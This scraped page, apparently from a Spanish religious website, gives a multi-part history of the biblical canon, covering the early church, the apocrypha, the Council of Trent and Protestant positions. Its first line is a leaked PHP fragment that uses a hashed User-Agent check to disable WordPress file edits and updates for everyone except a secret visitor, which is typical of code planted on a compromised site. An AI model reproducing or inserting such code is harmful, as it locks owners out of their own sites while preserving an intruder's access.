if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } canon – Texto Bíblico

En la iglesia primitiva

LA HISTORIA DEL CANON BÍBLICO

GA Lect 226

II – NUEVO TESTAMENTO

Las Sagradas Escrituras en la iglesia primitiva

La colección de los escritos sagrados del Nuevo Testamento encontró su prototipo en el canon del Antiguo Testamento. La Septuaginta -LXX– (Antiguo Testamento), que era en todo el mundo de habla griega la Biblia de los judíos de la dispersión (diáspora), se convirtió en la Biblia de la cristiandad. Los cristianos aceptaron con ella la doctrina judía de la inspiración divina, de modo que en los libros del Antiguo Testamento no veían sólo las palabras de Samuel, David o Isaías, sino más bien la Palabra de Dios, el resultado del Espíritu divino y de una sabiduría divina. Como los cristianos creían que los judíos habían perdido sus privilegios y habían sido rechazados por Dios por rechazar a Cristo, la iglesia cristiana se consideraba a sí misma como la única que tenía derecho a ser dueña de esa Palabra de Dios y de interpretarla. El Antiguo Testamento contenía profecías que señalaban a Cristo y también muchas gloriosas promesas para el verdadero pueblo de Dios, pueblo que los cristianos creían que eran. Todo esto hizo que el Antiguo Testamento fuera amado por los primeros cristianos.

Además del Antiguo Testamento, la iglesia primitiva poseía las “palabras del Señor” como recibidas de Jesús mismo o de los apóstoles que habían sido testigos oculares. La iglesia consideraba las palabras y profecías de Jesús en el mismo nivel de inspiración que las afirmaciones del Antiguo Testamento. Por eso Pablo podía citar el Pentateuco y unirlo con una declaración de Jesús: “Pues la Escritura dice: No pondrás bozal al buey que trilla; y: Digno es el obrero de su salario” (1 Timoteo 5:18; cf.  Deuteronomio 25:4; Lucas 10:7). Era sencillamente natural que cuando los apóstoles predicaban el Evangelio por todo el mundo, circularan oralmente muchas de las palabras del Señor y muchas reminiscencias en cuanto a él. Un ejemplo de esto lo tenemos cuando Pablo, hablando a los ancianos de Efeso, usó un dicho de Jesús que no aparece en ninguna parte de los Evangelios: “En todo os he enseñado que, trabajando así, se debe ayudar a los necesitados, y recordar las palabras del Señor Jesús, que dijo: Más bienaventurado es dar que recibir” (Hechos 20:35).

Eusebius_of_Caesarea

Que la tradición oral acerca de las palabras de Jesús existía en el siglo II, queda demostrado por el relato de Eusebio  en cuanto al interés manifestado en ellas por Papías, obispo de Hierápolis¹.

Pero al mismo tiempo pueden verse en el más antiguo período cristiano ciertos pasos iniciales para la formación del canon del Nuevo Testamento. En la primera generación de cristianos aparecieron registros escritos de la vida de Cristo. En el prólogo de su Evangelio (Lucas 1:1-4), Lucas testifica de que existían en su tiempo varias obras que describían la vida y las enseñanzas de Jesús, y prosigue asegurando a sus lectores que su narración es digna de fe.

Puede aceptarse que antes de terminar el siglo I la mayoría de las iglesias poseían el Evangelio escrito. Es evidente que los padres de la iglesia estaban familiarizados con estos escritos, pues los citan. La palabra “Evangelio” – εὐαγγέλιον [euaggélion] aparece en el Nuevo Testamento sólo en número singular para designar las alegres nuevas de Jesús. Justino Mártir (c. 150 d. C.) fue el primero que usó el plural “los Evangelios” τὰ εὐαγγελία [tá euaggelía] para designar los relatos escritos de la vida de Jesús².

Poco a poco se comenzó a usar la frase “escrito está“, que generalmente se utilizaba para citar el Antiguo Testamento, para referirse también a los dichos de Jesús. La primera vez que se la usó fue en la Epístola de Bernabé³ (capítulo 4:3, 14), escrita antes de 150 d. C. El capítulo 14:2 de la así llamada Segunda Epístola de Clemente, de más o menos la misma fecha, habla de la enseñanza de los “Libros de los apóstoles” acerca de la iglesia, referencia que puede incluir los Evangelios y el Antiguo Testamento como los “Libros”, y que ciertamente demuestra la categoría que habían alcanzado las epístolas en ese tiempo.

Además de los Evangelios circulaban otras obras cristianas en la iglesia primitiva; pero las epístolas del apóstol Pablo ocupaban el primer lugar. Pablo escribió generalmente para hacer frente a problemas específicos en ciertas localidades; sin embargo, al mismo tiempo fomentaba la distribución de sus cartas, como es evidente por su pedido de que los colosenses (Colosenses 4:16) y los laodicenses intercambiaran sus cartas. Puede asegurarse que antes de que su carta pasara a otra congregación, por lo general la iglesia que la tenía hacía copia de ella. Las cartas de Pablo fueron quizá las que primero se copiaron, y esa colección de copias creció. Que esta colección ya existía en los días apostólicos puede deducirse por lo que dice Pedro (2 Pedro 3:15-16), alrededor tal vez del año 65 d. C. Así también Clemente Romano, que escribió a la Iglesia de Corinto 30 años después, pudo amonestarles: “Aceptad la epístola del bendito apóstol Pablo” (Take up the epistle of the blessed Paul the Apostle) escrita a los corintios (1 Clemente capítulo 47:1). El hecho de que Clemente continúa refiriéndose al contenido de 1 Corintios parece indicar que esa epístola había sido guardada no sólo en Corinto sino que Clemente tenía también una copia a su disposición en Roma.

Otros testigos de que desde muy antiguo se distribuían los escritos de Pablo son Ignacio y Policarpo. Ambos escribieron en la primera mitad del siglo II. Alrededor del año 117 d. D., Ignacio escribió desde Esmirna a los efesios que Pablo “en toda su Epístola hace mención de vosotros en Cristo Jesús” –who in all his Epistles makes mention of you in Christ Jesus– (capítulo 12). Probablemente a mediados del siglo II Policarpo escribió a los filipenses acerca de Pablo, que “cuando ausente de vosotros os escribió una carta que, si la estudiáis cuidadosamente, encontraréis que es el medio para edificaros en aquella fe que os ha sido dada” – when absent from you, he wrote you a letter, which, if you carefully study, you will find to be the means of building you up in that faith which has been given you-(capítulo 3). En otra parte de la misma epístola (capítulo 12) Policarpo cita a Pablo (Efesios 4:26) como “escritura” (For I trust that ye are well versed in the Sacred Scriptures, and that nothing is hid from you; but to me this privilege is not yet granted. It is declared then in these Scriptures, “Be ye angry, and sin not,” and, “Let not the sun go down upon your wrath)”. Estas afirmaciones indican claramente que tanto Ignacio como Policarpo conocían muy bien por lo menos dos de las cartas de Pablo y que esperaban que las iglesias también las conocieran. Por eso parece probable que circulara ampliamente una colección de las epístolas de Pablo unas pocas décadas después de su muerte.

Otras epístolas, además de las de Pablo, deben también haber circulado desde los primeros años. Pedro dirigió su primera carta a los cristianos de cinco provincias del Asia Menor, dándole así claramente el carácter de una carta circular. Santiago tuvo el mismo propósito cuando dirigió su epístola “a las doce tribus que están en la dispersión“. Juan dirigió el Apocalipsis a las siete iglesias de la provincia romana de Asia y afirmó específicamente que tenía la inspiración divina en lo que escribía (Apocalipsis 1:1-3; 22:18-19). Es razonable entonces concluir que estos libros rápidamente alcanzaron una amplia circulación.

Frente a estas pruebas es obvio el hecho de que libros que se originaron en el tiempo de los apóstoles, y que referían la vida de Cristo o contenían importantes mensajes de los apóstoles, fueron muy estimados por la iglesia y se reconoció su autoridad.

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¹ Historia eclesiástica iii. 39. 1-4

Chapter XXXIX.—The Writings of Papias

1. There are extant five books of Papias, which bear the title Expositions of Oracles of the Lord. Irenæus makes mention of these as the only works written by him, in the following words: “These things are attested by Papias, an ancient man who was a hearer of John and a companion of Polycarp, in his fourth book. For five books have been written by him.” These are the words of Irenæus.

2. But Papias himself in the preface to his discourses by no means declares that he was himself a hearer and eye-witness of the holy apostles, but he shows by the words which he uses that he received the doctrines of the faith from those who were their friends.

3. He says: “But I shall not hesitate also to put down for you along with my interpretations whatsoever things I have at any time learned carefully from the elders and carefully remembered, guaranteeing their truth. For I did not, like the multitude, take pleasure in those that speak much, but in those that teach the truth; not in those that relate strange commandments, but in those that deliver the commandments given by the Lord to faith, and springing from the truth itself.

4. If, then, any one came, who had been a follower of the elders, I questioned him in regard to the words of the elders,—what Andrew or what Peter said, or what was said by Philip, or by Thomas, or by James, or by John, or by Matthew, or by any other of the disciples of the Lord, and what things Aristion and the presbyter John, the disciples of the Lord, say. For I did not think that what was to be gotten from the books would profit me as much as what came from the living and abiding voice.”

Español:

CAPÍTULO XXXIX – Acerca de los escritos de Papías

1. Dicen que existen cinco escritos de Papías con el título deExplicaciones de la palabra del Señor. Ireneo los menciona como los únicos escritos por Papías, cuando dice lo siguiente: «De esto también da testimonio escrito Papías, oyente de Juan, compañero de Policarpo y varón de los antiguos, en su cuarto libro. Porque él compuso cinco libros».

2. Esto según Ireneo. Pero Papías en ningún modo explica que él fuera oyente ni testigo ocular de los santos apóstoles, sino que enseña que acogió los asuntos de la fe de manos de los que lo conocieron; dice como sigue:

3. «No dudaré en añadir todo cuanto aprendí muy bien de los ancianos y que recuerdo perfectamente en mis explicaciones, pues sé con toda certidumbre que es verdad. Porque no me contentaba con lo que dicen muchos, como ocurre con la mayoría, sino con los que enseñan la verdad; tampoco con los que repiten mandamientos de otros, sino con los que recuerdan aquellos mandamientos que fueron dados a la fe procedentes del Señor y que tienen su origen en la verdad.

4. »Y si alguna vez llegaba alguien que había seguido a los ancianos, yo observaba las palabras de los ancianos, que era lo dicho por Andrés, o Pedro, o Felipe, o Tomás, o Jacobo, o Juan, o Mateo, o por cualquiera de los otros discípulos del Señor, e incluso lo que decían Aristión y el anciano Juan, discípulos del Señor, pues creí que no obtendría el mismo provecho de lo que aprendiera de los libros como lo aprendía por medio de una voz viva y perdurable».

² “For the apostles, in the memoirs composed by them, which are called Gospels…” (The First Apology of Justin, chapter LXVI).

³ Epístola de Bernabé

4:3 The tribulation being made perfect is at hand,
concerning which it is written, as Enoch saith, For to
this purpose the Lord hath cut short the times and the
days, that his beloved might make haste and come into
his inheritance.

4:14 And, moreover, my brethren, consider this. When
ye see that after so many signs and wonders that have
happened in Israel, even then they have been
abandoned, let us take heed lest, as it is written,
many of us be called but few chosen. (cf. Mateo 20:16, 22:14).

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LA HISTORIA DEL CANON BÍBLICO

II – NUEVO TESTAMENTO

Introducción

Las Sagradas Escrituras en la iglesia primitiva

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Diferencias entre los cánones protestante y católico

Martin Luther at Worms

HISTORIA DEL CANON BÍBLICO

I – ANTIGUO TESTAMENTO

Diferencias entre los cánones protestante y católico

Como se puede ver abajo*, existen marcadas diferencias entre los cánones protestante y católico. Tanto la Iglesia Católica Romana como la Iglesia Ortodoxa incluyen varios libros en sus cánones reconocidos que no están incluidos ni en el canon judío ni en el protestante. Libros como TobíasJuditlas añadiduras a Ester, etcétera, se clasificaron como libros “apócrifos“, dado que su origen no estaba claro.

 

Canon católico romano y ortodoxo Canon protestante
Pentateuco
1 Génesis 1 Génesis
2 Éxodo 2 Éxodo
3 Levítico 3 Levítico
4 Números 4 Números
5 Deuteronomio 5 Deuteronomio
Historia
6 Josué 6 Josué
7 Jueces 7 Jueces
8 Rut 8 Rut
9 1 Samuel 9 1 Samuel
10 2 Samuel 10 2 Samuel
11 1 Reyes 11 1 Reyes
12 2 Reyes 12 2 Reyes
13 1 Crónicas 13 1 Crónicas
14 2 Crónicas 14 2 Crónicas
15 Esdras 15 Esdras
16 Nehemías 16 Nehemías
17 Tobías *
18 Judit*
19 Ester (incluidas las añadiduras)* 17 Ester
20 1 Macabeos**
21 2 Macabeos**
Poéticos y sapienciales
22 Job 18 Job
23 Salmos 19 Salmos
24 Proverbios 20 Proverbios
25 Eclesiastés 21 Eclesiastés
26 Cantar de los Cantares 22 Cantar de los Cantares
27 Sabiduría de Salomón*
28 Eclesiástico (Sirácida)*
Profetas
29 Isaías 23 Isaías
30 Jeremías 24 Jeremías
31 Lamentaciones 25 Lamentaciones
32 Baruc (incluida la Carta de Jeremías)*
33 Ezequiel 26 Ezequiel
34 Daniel (incluidas las añadiduras)* 27 Daniel
35 Oseas 28 Oseas
36 Joel 29 Joel
37 Amós 30 Amós
38 Abdías 31 Abdías
39 Jonás 32 Jonás
40 Miqueas 33 Miqueas
41 Nahúm 34 Nahúm
42 Habacuc 35 Habacuc
43 Sofonías 36 Sofonías
44 Hageo 37 Hageo
45 Zacarías 38 Zacarías
46 Malaquías 39 Malaquías
* = apócrifo en el canon protestante** = católico romano únicamente
Luther at the Diet of Worms, by Anton von Werner, 1877

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A Survey of the Old Testament

*Tabla basada en: Andrew E. Hill , John H. Walton, A Survey Of The Old Testament [Investigación del Antiguo Testamento] (Grand Rapids, Michigan Zondervan Publishing House, 1991), pag. 21.

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LA HISTORIA DEL CANON BÍBLICO

I – ANTIGUO TESTAMENTO

Introducción

El canon

División antigua y moderna del Antiguo Testamento

Antes del exilio en Babilonia

En el tiempo de Esdras-Nehemías

Entre Nehemías y los Macabeos

Desde los Macabeos hasta Cristo

El testimonio de Cristo y los apóstoles

Testimonios de judíos del primer siglo

En la iglesia cristiana primitiva

La iglesia católica y los apócrifos

Criterios protestantes acerca del canon

Resumen

Diferencias entre los cánones protestante y católico

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Resumen

 HISTORIA DEL CANON BÍBLICO

I – ANTIGUO TESTAMENTO

Resumen

El estudio de la historia del canon del Antiguo Testamento indica que la colección de libros que llamamos el Antiguo Testamento se realizó en el siglo V AC, con Esdras y Nehemías, los dos grandes líderes de ese período de restauración, con toda probabilidad los encabezadores de esa obra.

Se basa esta conclusión en que el Antiguo Testamento no contiene ningún libro posterior. La tradición judía del siglo I AC confirma esta conclusión.

La preparación de la Septuaginta, que comenzó en el siglo III AC, es una evidencia de que existía un canon del Antiguo Testamento en ese tiempo.

Otro testimonio son las citas y referencias de Jesús Ben Sirác al Antiguo Testamento, a comienzos del siglo II AC; unos pocos años después, el edicto de Antíoco Epífanes para destruir los libros sagrados de los judíos; y las declaraciones del nieto de Jesús Ben Sirác, por el año 132 AC, que menciona la triple división de la Biblia hebrea y la existencia de su traducción griega en su tiempo.

Jesucristo y los apóstoles creyeron definidamente en la autoridad e inspiración de la Biblia hebrea, como se puede ver por numerosos testimonios que comprueban este hecho. La Biblia de ellos tenía la misma división triple y probablemente el mismo orden de los libros de la Biblia hebrea actual.

Además, centenares de citas tomadas de por lo menos 30 libros del Antiguo Testamento muestran la elevada estima en que eran tenidos esos escritos por el fundador de la fe cristiana y sus seguidores inmediatos.

La historia del canon del Antiguo Testamento en la iglesia cristiana, después de la era apostólica, se centraliza en la cuestión de aceptar o rechazar los libros judíos apócrifos.

Aunque esos libros fueron rechazados por los apóstoles y los escritores cristianos hasta mediados del siglo II, y fuera de duda por los judíos mismos, a pesar de ello esos escritos espurios recibieron la bienvenida en la iglesia cristiana hacia el fin del siglo II.

Desde allí en adelante nunca fueron proscritos por la Iglesia Católica.

Los reformadores tornaron una posición firme en el rechazo de los apócrifos, pero después de su muerte esos libros fueron aceptados una vez más en algunas iglesias protestantes, aunque finalmente fueron rechazados por la mayoría de ellas en el siglo XIX.

Más serio es el concepto de los modernistas en cuanto al Antiguo Testamento. No creen en la inspiración de los libros del Antiguo Testamento ni en su origen remoto.

Este proceso de secularización – que coloca el Antiguo Testamento en el mismo nivel de otras producciones literarias antiguas – es más pernicioso para la iglesia cristiana que la indiferencia anterior hacia los apócrifos, puesto que destruye la fe del creyente en el origen divino de aquellos libros de la Biblia de los cuales dijo Cristo “dan testimonio de mí” (Juan 5: 39).

Por lo tanto, cada creyente cristiano debe estar convencido del origen divino de estos libros del Antiguo Testamento por cuyo medio los apóstoles cristianos probaron la validez de su fe y doctrinas.

Que esos libros hayan sobrevivido a varias catástrofes nacionales de la nación judía en la antigüedad y a los insidiosos ataques de oscuras fuerzas, dentro y fuera de la iglesia cristiana,es una sólida prueba de que esos escritos han recibido la protección divina.

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 HISTORIA DEL CANON BÍBLICO

I – ANTIGUO TESTAMENTO

Introducción

El canon

División antigua y moderna del Antiguo Testamento

Antes del exilio en Babilonia

En el tiempo de Esdras-Nehemías

Entre Nehemías y los Macabeos

Desde los Macabeos hasta Cristo

El testimonio de Cristo y los apóstoles

Testimonios de judíos del primer siglo

En la iglesia cristiana primitiva

La iglesia católica y los apócrifos

Criterios protestantes acerca del canon

Resumen

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Criterios protestantes acerca del canon

 HISTORIA DEL CANON BÍBLICO

I – ANTIGUO TESTAMENTO

Criterios protestantes acerca del canon

[Apocrypha: das sind Bücher: so der heiligen Schrifft nicht gleich gehalten / vnd doch nützlich vnd gut zu lesen sind.

Los reformadores aceptaron como canónicos los 39 libros del Antiguo Testamento, sin excepción y casi sin reservas. En cambio, los apócrifos fueron generalmente rechazados. Martín Lutero los tradujo al alemán y los publicó con la observación, en la página del título: “Apócrifosson libros no iguales a las Sagradas Escrituras, pero útiles y buenos para leer” [Apocrypha: das sind Bücher: so der heiligen Schrifft nicht gleich gehalten / vnd doch nützlich vnd gut zu lesen sind].

La Iglesia Anglicana fue más liberal en el uso de los apócrifos. El Libro de oración común prescribió, en 1662, la lectura de ciertas secciones de los libros apócrifos para varios días de fiesta¹, así como para lectura diaria durante algunas semanas en el otoño. Con todo, los Treinta y Nueve Artículos hacen diferencia entre los apócrifos y el canon.²

Gomarus

   La Iglesia Reformada se ocupó de los apócrifos durante su concilio de Dordrecht, en 1618. Franciscus Gomarus (François Gomaer) y otros reformadores exigieron la eliminación de los apócrifos de las Biblias impresas. Aunque no prosperó esa exigencia, la condenación de los apócrifos por el concilio fue sin embargo tan vigorosa, que desde ese tiempo la Iglesia Reformada se opuso enérgicamente a su uso.

La mayor lucha contra los apócrifos se realizó en Inglaterra durante la primera mitad del siglo XIX. Se editó una gran cantidad de publicaciones, de 1811 a 1852, para investigar los méritos y errores de estos libros extracanónicos del Antiguo Testamento. El resultado fue un rechazo general de los apócrifos por los dirigentes y teólogos eclesiásticos y una clara decisión de la Sociedad Bíblica Británica y Extranjera de excluir los apócrifos, de allí en adelante, de todas las Biblias publicadas por esa sociedad.

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¹ Por ejemplo: Sabiduría 2:1, 12-24 (Viernes Santo), pág.195.

² “Artículo VI: De la suficiencia de la Sagrada Escritura para la salvación

“La Sagrada Escritura contiene todo lo necesario para la salvación de tal manera que lo que no se lea en ella o pueda probarse a través de ella, no se exige a ningún hombre que sea creído como artículo de Fe, o se piense que sea requisito o condición para la salvación. En el nombre de la Sagrada Escritura, entendemos esos libros Canónicos del Antiguo y Nuevo Testamento, cuya autoridad nunca ofreció ninguna duda en la Iglesia.

De los nombres y números de los Libros Canónicos:

Génesis
Éxodo
Levítico
Números
Deuteronomiov Josué
Jueces
Ruth
El primer libro de Samuel
El segundo libro de Samuel
El primer libro de los Reyes
El segundo libro de los Reyes
El primer libro de las Crónicas
El segundo libro de las Crónicas
El primer libro de Esdrás
El segundo libro de Esdrás
El libro de Ester
El libro de Job
Los Salmos
Los Proverbios
Eclesiastés
El Cantar de los Cantares de Salomón
Los cuatro profetas mayores
Los cuatro profetas menores

Y los otros Libros (como dice Jeremías) los lee la Iglesia como ejemplo de vida e instrucción de modales y sin embargo los aplica sin establecer ninguna doctrina. Tales son los siguientes:

El tercer libro de Esdrás
El cuarto libro de Esdrás
El libro de Tobías
El libro de Judit
El resto del libro de Ester
El libro de la sabiduría
Jesús, el hijo de Sirá
Baruch, el profeta
La canción de los tres niños
La historia de Susana
Bel y el dragón
La plegaria de Manasés
El primer libro de los Macabeos
El segundo libro de los Macabeos

 

Todos los libros del Nuevo Testamento, tal y como son comúnmente recibidos, los recibimos y los consideramos Canónicos.”

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LA HISTORIA DEL CANON BÍBLICO

I – ANTIGUO TESTAMENTO

Introducción

El canon

División antigua y moderna del Antiguo Testamento

Antes del exilio en Babilonia

En el tiempo de Esdras-Nehemías

Entre Nehemías y los Macabeos

Desde los Macabeos hasta Cristo

El testimonio de Cristo y los apóstoles

Testimonios de judíos del primer siglo

En la iglesia cristiana primitiva

La iglesia católica y los apócrifos

Criterios protestantes acerca del canon

Resumen

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La iglesia católica y los apócrifos

 HISTORIA DEL CANON BÍBLICO

I – ANTIGUO TESTAMENTO

La iglesia católica y los apócrifos

Jerónimo
Jerónimo

Jerónimo (siglo V), el traductor de la Biblia al latín – la Vulgata – que ha llegado a ser la Biblia oficial católica, fue el último escritor de la iglesia que arguyó enérgicamente a favor de no aceptar nada sino los escritos hebreos y de rechazar los apócrifos

Sin embargo, la mayoría de los dirigentes de las iglesias occidentales aceptaron en sus días los apócrifos y les dieron la misma autoridad que al Antiguo Testamento. Esto se puede ver por los escritos de varios autores de la Edad Media, por algunas enseñanzas de la Iglesia Católica Romana que se basan en los apócrifos y por las decisiones tomadas por diversos concilios regionales de la iglesia (Hipona en 393, Cartago en 397).

En términos generales, la iglesia occidental generalmente ha reconocido los apócrifos como del mismo valor que los libros canónicos del Antiguo Testamento, pero los escritores de las iglesias orientales generalmente los han usado mucho más escasamente que sus colegas occidentales.

El primer concilio ecuménico que tomó un acuerdo a favor de aceptar los apócrifos del Antiguo Testamento fue el Concilio de Trento.

El propósito principal del Concilio de Trento fue trazar planes para combatir la Reforma. Puesto que los reformadores procuraban eliminar todas las prácticas y enseñanzas que no tenían base bíblica, y la Iglesia Católica no podía encontrar apoyo para algunas de sus doctrinas en la Biblia a menos que los escritos apócrifos fueran considerados como parte de ella, se vio forzada a reconocerlos como canónicos.

Esa canonización se efectuó el 8 de abril de 1546, cuando por primera vez fue publicada por un concilio ecuménico una lista de los libros canónicos del Antiguo Testamento. Esa lista no sólo contenía los 39 libros del Antiguo Testamento, sino también 7 libros apócrifos* y adiciones apócrifas a Daniel y Ester. Desde ese tiempo, estos libros apócrifos – ni aun reconocidos como canónicos por los judíos – tienen el mismo valor autorizado para un católico romano que cualquier libro de la Biblia.
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¹ “Caveat omnia apocrypha. Et si quando ea non ad dogmatum veritatem, sed ad signorum reverentiam legere voluerit, sciat non eorum esse, quorum titulis praenotentur: multaque his admixta vitiosa, ET GRANDIS esse prudentiae aurum in luto quaerere. “

Let her avoid [the church] all apocryphal writings, and if she is led to read such not by the truth of the doctrines which they contain but out of respect for the miracles contained in them; let her understand that they are not really written by those to whom they are ascribed, that many faulty elements have been introduced into them, and that it requires infinite discretion to look for gold in the midst of dirt.”

Qu’elle prenne garde de ne rien lire d’apocryphe, ou si elle en lit quelque chose, que ce soit plutôt pour apprendre l’histoire de ce qui y sera rapporté que pour s’instruire des mystères de la foi. Qu’elle se souvienne que les auteurs de ces livres ne sont pas ceux dont ils portent le nom, et qu’il faut, avoir beaucoup de discernement pour dé couvrir l’or dans la fange. “

“Evite ella [la iglesia] todos los escritos apócrifos, y si es inducida a leer los tales no por la verdad de las doctrinas que contienen sino por respeto de los milagros contenidos en ellos, comprenda ella que no fueron realmente escritos por aquellos a quienes se los atribuye; que en ellos se han introducido muchos elementos imperfectos y que se requiere infinita discreción para buscar oro en medio de la escoria”¹ (Carta CVII a Laeta, párrafo 23, cita traducida de A Select Library of Nicene and Post Nicene Fathers of the Christian Church [Una selecta biblioteca de Padres de la iglesia, nicenos y postnicenos], 2.a serie, t. VI, p. 194).

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* Como se señala a lo largo de nuestro estudio, ellos son: Libro de Tobías, Libro de Judit, primer Libro de los Macabeos, segundo Libro de los Macabeos, Libro de la Sabiduría, Libro del Eclesiástico, Libro de Baruc. A los libros apócrifos también se los ha llamado “deuterocanónicos”; literalmente, “de segunda inspiración”, o “de inspiración posterior”.

El hecho es que los judíos (entre ellos Josefo, el conocido historiador eclesiástico), fieles custodios de los libros del Antiguo Testamento, han rechazado los libros apócrifos hasta hoy. Por su parte, prominentes padres de la Iglesia, como Orígenes, Hilario, Gregorio y Eusebio no los aceptaron como canónicos. Tampoco Jerónimo, el traductor de la Biblia al latín en la versión llamada la Vulgata, como puede verse en su enfática declaración: “Los libros de Judit, de Tobías, de la Sabiduría, del Eclesiástico, de los Macabeos, no son canónicos”.

En su Diccionario de controversia, Teófilo Gay indica varias razones para no incluir los libros apócrifos entre los canónicos: la ya mentada de su rechzo por los judíos y por varios padres de la Iglesia; su aceptación tardía como canónica por la Iglesia Católica; otra razón es que a diferencia de los libros del Antiguo Testamento aceptados por todos como canónicos, los cuales fueron escritos en hebreo (con algún trozo en lengua aramea intercalado), la mayoría de los apócrifos fueron escritos en griego. Por último, otras dos razones muy valederas para excluirlos del canon: una, que Jesús y los apóstoles citaron los libros canónicos (y con ello los autenticaron), y nunca los apócrifos; y otra, que los apócrifos incurrem en errores doctrinales y contradicciones, cosa inaceptable desde el momento que la Inspiración no está dividida, ni jamás se contradice: “¡A la ley y al testimonio! Si no dijeren conforme á esto, es porque no les ha amanecido” (Isaías 8: 20).

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LA HISTORIA DEL CANON BÍBLICO

I – ANTIGUO TESTAMENTO

Introducción

El canon

División antigua y moderna del Antiguo Testamento

Antes del exilio en Babilonia

En el tiempo de Esdras-Nehemías

Entre Nehemías y los Macabeos

Desde los Macabeos hasta Cristo

El testimonio de Cristo y los apóstoles

Testimonios de judíos del primer siglo

En la iglesia cristiana primitiva

La iglesia católica y los apócrifos

Criterios protestantes acerca del canon

Resumen

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Desde los Macabeos hasta Cristo

HISTORIA DEL CANON BÍBLICO

I – ANTIGUO TESTAMENTO

Desde los Macabeos hasta Cristo

En el siglo II a. C, el rey seléucida¹ Antíoco Epífanes procuró helenizar a los judíos y aplastar su espíritu nacionalista. Eliminó sus ritos religiosos, cambió sus formas de vida y trató de destruir su literatura sagrada. Este rey persiguió a los judíos de ideología conservadora y suspendió los servicios del templo entre los años 168 y 165 a. C. Al referirse a sus actividades, Primero y Segundo de los Macabeos, dos libros apócrifos, citan frases de Daniel 8 y 9².

Antíoco IV Epífanes ΘΕΟΥ ΕΠΙΦΑΝΟΥΣ ΝΙΚΗΦΟΡΟΥ / ΒΑΣΙΛΕΩΣ ΑΝΤΙΟΧΟΥ

Después de una descripción de los esfuerzos hechos en ese tiempo para introducir ritos paganos, Primero de los Macabeos 1:56, 57 dice lo siguiente acerca de este punto: “Rompían y echaban al fuego los libros de la Ley que podían hallar. Al que encontraban con un ejemplar de la Alianza en su poder, o bien descubrían que observaba los preceptos de la Ley, la decisión del rey le condenaba a muerte.” (Biblia de Jerusalén).

Fue probablemente durante este período, mientras estaba prohibida la lectura de los libros del Pentateuco, cuando comenzó la práctica de leer en los servicios religiosos pasajes de los profetas en lugar de pasajes de la ley. Estos pasajes de los libros proféticos fueron llamados más tarde haftarot, y se leían en relación con secciones de la ley tan pronto como se levantaron las restricciones (cf. Lucas 4:16, 17; Hechos 13:15, 27).

Muchos libros se salvaron de la destrucción durante ese período de desgracia nacional, cuando toda la vida religiosa de los judíos estuvo en peligro. La tradición judía sostiene que la preservación de muchos libros se debió al valor y a los esfuerzos de Judas Macabeo. En el segundo libro de los Macabeos, escrito en los comienzos del siglo I a. C, se declara que Judas Macabeo “reunió todos los libros dispersos a causa de la guerra que sufrimos, los cuales están en nuestras manos” (2 Macabeos 2:14).

Por el año 132 AC, el nieto de Jesús Ben Sirác tradujo al griego la obra hebrea de su abuelo, llamada Eclesiástico. Le añadió un prólogo histórico en el cual se menciona tres veces la triple división del canon del Antiguo Testamento.

Por este tiempo también se escribió el libro apócrifo Primero de los Macabeos. En él se cita el libro de los Salmos (1 Macabeos 7:17). Daniel es mencionado (1 Macabeos 2:60), así como sus tres amigos, junto con Abrahán, José, Josué, David, Elías y otros antiguos varones de Dios. Aquí se tiene la impresión clara de que el autor de 1 Macabeos consideraba el libro de donde recibió la información acerca de Daniel como una de las obras antiguas, y no como una nueva adición del siglo de los Macabeos, como lo pretende la alta crítica.

El primer testimonio de la expresión “Escritura” usada para designar ciertas partes de la Biblia es la Carta de Aristeas (secciones 155 y 168 de Apocrypha and Pseudepigrapha, de R. H. Charles, t. 2.) Esa carta fue escrita posiblemente entre 96 y 63 AC. Ese término, usado regularmente por los últimos escritores del Nuevo Testamento al referirse a los libros del Antiguo Testamento, es empleado por Aristeas para designar el Pentateuco.

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¹ Los “seleúcidas” constituyen la dinastía fundada por Seleuco, general de Alejandro. “Epífanes” es una referencia a la pretensión de Antioco IV de que él era una manifestación o epifanía de Dios.

² 1 Macabeos 1:54 aplica la frase βδέλυγμα ἐρημώσεως [bdélugma erêmôseôs] “abominación desoladora” de Daniel 9:27  (βδέλυγμα τῶν ἐρημώσεων [bdélugma tôn erêmôseôn] “abominación de las desolaciones”) a lo que hizo Antíoco Epífanes en el altar del templo judío: levantó un ídolo en él, y sacrificó un cerdo, para horror de todos los devotos judíos, para quienes los cerdos fueron siempre animales que ni siquiera se debían tocar (cf. Levítico 11:7, 8)). Pero Jesús en su discurso del Monte de los Olivos dijo que la “abominación de la desolación” mencionada por Daniel todavía se hallaba en el futuro (Mateo 24:15), y añadió; “el que lee, entienda”. De manera que si queremos entender el significado del “cuerno pequeño” de Daniel 8, tendremos que llegar a la conclusión, con Jesús, de que no pudo haber sido Antíoco Epífanes, que murió en el año 164 AC, casi doscientos años antes del discurso del Monte de los Olivos.

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 HISTORIA DEL CANON BÍBLICO

I – ANTIGUO TESTAMENTO

Introducción

El canon

División antigua y moderna del Antiguo Testamento

Antes del exilio en Babilonia

En el tiempo de Esdras-Nehemías

Entre Nehemías y los Macabeos

Desde los Macabeos hasta Cristo

El testimonio de Cristo y los apóstoles

Testimonios de judíos del primer siglo

En la iglesia cristiana primitiva

La iglesia católica y los apócrifos

Criterios protestantes acerca del canon

Resumen

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Antes del exilio en Babilonia

HISTORIA DEL CANON BÍBLICO

I – ANTIGUO TESTAMENTO

Moses with the Tablets of Stone (1659 painting by Rembrandt)

Antes del exilio en Babilonia

El origen de muchos de los libros del Antiguo Testamento, tomados por separado, puede rastrearse yendo hacia sus autores. Sin embargo, no hay información disponible en cuanto a colecciones más grandes de los libros del Antiguo Testamento antes del exilio en Babilonia. Las referencias preexílicas a los libros bíblicos aluden al Pentateuco.

Dios advirtió a Josué que “nunca se apartará de tu boca este libro de la ley” (Josué 1:8), y Josué, el sucesor de Moisés, animó al pueblo a “hacer todo lo que está escrito en el libro de la ley de Moisés” (cap. 23:6). También celebró una gran reunión donde públicamente se leyeron instrucciones del “libro de la ley” (cap. 8:34).

David también conocía el Pentateuco y trató de vivir de acuerdo con sus preceptos, como se puede deducir por el consejo que dio a su hijo Salomón, de que guardara los estatutos, mandamientos, decretos y testimonios del Señor “de la manera que está escrito en la ley de Moisés” (1 Reyes 2:3).

También el rey Amasías de Judá recibió alabanza por seguir ciertos requisitos como estaban escritos “en el libro de la ley de Moisés” (2 Reyes 14:6).

